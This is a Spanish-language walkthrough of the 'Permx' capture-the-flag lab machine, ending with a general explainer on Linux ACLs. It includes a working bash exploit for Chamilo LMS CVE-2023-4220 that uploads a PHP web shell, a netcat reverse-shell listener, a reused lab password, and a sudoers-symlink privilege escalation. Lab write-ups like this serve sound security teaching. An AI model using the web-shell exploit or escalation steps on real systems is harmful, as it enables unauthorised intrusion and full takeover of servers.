Permx

Permx
Sistema operativo Dificultad Fecha de Lanzamiento Creador
Linux Easy 06 Julio 2024 mtzsec

Reconocimiento

Lanzamos una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.

Permx

Enumeración inicial

Realizamos un escaneo con nmap para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.

nmap -sS -p- --open --min-rate 5000 -Pn -n 10.10.11.23 -oG open_ports -vvv

Permx

Lanzamos una serie de script básicos de enumeración propios de nmap, para conocer la versión y servicio que esta corriendo bajo los puertos.

nmap -sCV -p22, -oN service_scan -vvv

Permx

Enumeración de servicios

 echo '10.10.11.23 permx.htb' >> /etc/hosts

Permx

Permx

Permx

echo '10.10.11.23 lms.permx.htb' >> /etc/hosts

Permx

Chamilo es un sistema de gestión de aprendizaje o LMS, diseñado para apoyar a la educación en línea.​ Es una plataforma de software libre escrita en PHP, cuyo propósito es mejorar la educación y su acceso a ella a nivel mundial.​

Si realizamos una busqueda en el repositorio, encontramos el path /documentation/change.log el cual nos permite conocer la versión de la aplicación. En este caso, la versión que se esta ejecutando es la versión 1.11.24.

http://lms.permx.htb/documentation/changelog.html

Permx

Si realizamos una búsqueda en Google, encontramos que esta versión del software es vulnerable a RCE, ejecución remota de código de archivos no autenticados en la biblioteca “Big Upload”.

CVE-2023-4220

La carga de archivos sin restricciones en la funcionalidad de carga de archivos grandes en /main/inc/lib/javascript/bigupload/inc/bigUpload.php en Chamilo LMS <= v1.11.24 permite a atacantes no autenticados realizar ataques de cross-site scripting almacenados y obtener la ejecución remota de código mediante la carga de un web shell.

https://vulners.com/nuclei/NUCLEI:CVE-2023-4220

#!/bin/bash
HOST='http://lms.permx.htb'
CMD='id'

URL_UPLD='main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
URL_FILE='main/inc/lib/javascript/bigupload/files/rce.php'

cat <<'EOF'>/tmp/rce.php
<?php
$a=popen(base64_decode($_REQUEST["aoOoy"]),'r');while($b=fgets($a,2048)){echo $b;ob_flush();flush();}pclose($a);
?>
EOF

curl -F 'bigUploadFile=@/tmp/rce.php' "$HOST/$URL_UPLD"
CMD=$(echo $CMD|base64 -w0| python3 -c "import urllib.parse,sys; print(urllib.parse.quote_plus(sys.stdin.read()))")
curl "$HOST/$URL_FILE?aoOoy=$CMD"

PoC

Permx

Explotación inicial

Creamos una reverse shell para ganar acceso al sistema.

Permx

Nos ponemos en escucha con netcat.

nc -nlvp 443

Ejecutamos el exploit.

Permx

Ganamos acceso al sistema.

Permx

Enumeración / Movimiento lateral

www-data -> mtz

Permx

Si realizamos una enumeración en el sistema, encontramos un archivo de configuración de Chamilo, el cual tiene las credenciales de la base de datos. Podríamos probar conectarnos a la base de datos, pero en lugar de eso probamos la contraseña para conectarnos con el usuario mtz para comprobar si existe reutilización de contraseña.

Permx

Permx

mtz:03F6lY3uXAP2bkW8

Permx

Leemos el flag de user.txt

Permx

Elevación de privilegios

Permx

Permx

Este script en Bash se utiliza para modificar los permisos de acceso a un archivo específico para un usuario determinado utilizando ACL (Access Control List).

Para escalar nuestros privilegios haremos lo siguiente.

  1. Crear un enlace simbólico

Podemos usar un enlace simbólico para apuntar a un archivo crítico o crear un script malicioso. En este caso, intentaremos cambiar los permisos de /etc/sudoers para permitir cualquier comando sin contraseña.

ln -s /etc/sudoers /home/mtz/myfile
  1. Ejecutar el script con sudo

Ejecuta el script usando sudo para cambiar los permisos del archivo simbólico:

sudo /opt/acl.sh mtz rw /home/mtz/myfile
  1. Modificar /etc/sudoers

Ahora que tenemos permisos de escritura en /etc/sudoers, podemos agregar una entrada para permitirte ejecutar cualquier comando sin contraseña.

vim /home/mtz/myfile

Agrega la siguiente línea al final del archivo:

mtz ALL=(ALL) NOPASSWD: ALL

Obtener una shell root

sudo -i

Permx

Leemos el flag de root.txt.

Permx

Extras

Las ACLs (Listas de Control de Acceso) proporcionan un mecanismo más flexible y detallado para especificar permisos sobre archivos y directorios en sistemas de archivos, comparado con el sistema tradicional de permisos UNIX (propietario, grupo, otros).

Función de las ACLs

  1. Permitir permisos detallados:
  2. ACLs permiten definir permisos específicos para múltiples usuarios y grupos no limitados al propietario, grupo y otros.

  3. Especificar permisos adicionales:

  4. Además de los permisos básicos de lectura (r), escritura (w) y ejecución (x), las ACLs pueden incluir permisos más detallados y específicos para diferentes usuarios y grupos.

Componentes principales de las ACLs

  1. Entradas de ACL (ACE):
  2. Cada ACL está compuesta de una serie de ACEs (Access Control Entries), donde cada ACE define permisos para un usuario o grupo específico.

  3. Tipos de entradas:

  4. User: Permisos para un usuario específico.
  5. Group: Permisos para un grupo específico.
  6. Mask: Permisos efectivos que se aplican a las entradas de usuario y grupo.
  7. Other: Permisos para todos los demás usuarios.

Comandos principales para gestionar ACLs

  1. setfacl:

  2. setfacl se utiliza para establecer ACLs en archivos y directorios. Por ejemplo, para conceder permisos de lectura y escritura a un usuario específico:

    setfacl -m u:usuario:rw archivo
  1. getfacl:

  2. getfacl se utiliza para visualizar las ACLs actuales de un archivo o directorio:

getfacl archivo

Ejemplo de uso

Supongamos que tienes un archivo documento.txt y quieres otorgar permisos de lectura y escritura a un usuario llamado juan y permisos de solo lectura a un grupo llamado proyecto.

  1. Agregar permisos para el usuario juan:
setfacl -m u:juan:rw documento.txt
  1. Agregar permisos para el grupo proyecto:
setfacl -m g:proyecto:r documento.txt
  1. Verificar las ACLs actuales del archivo:
getfacl documento.txt

Ventajas de las ACLs

  1. Mayor flexibilidad:
  2. Permite una configuración más granular de los permisos en comparación con el modelo tradicional de UNIX.

  3. Facilidad de administración:

  4. Facilita la administración de permisos para archivos y directorios compartidos por múltiples usuarios y grupos.

Desventajas de las ACLs

  1. Complejidad adicional:
  2. Introduce un nivel adicional de complejidad en la administración de permisos.

  3. Compatibilidad:

  4. No todos los sistemas de archivos o versiones de sistemas operativos soportan ACLs de manera nativa.

En resumen, las ACLs son una herramienta poderosa para gestionar permisos en sistemas de archivos, permitiendo un control mucho más detallado y flexible sobre quién puede acceder a qué archivos y directorios y con qué tipo de permisos.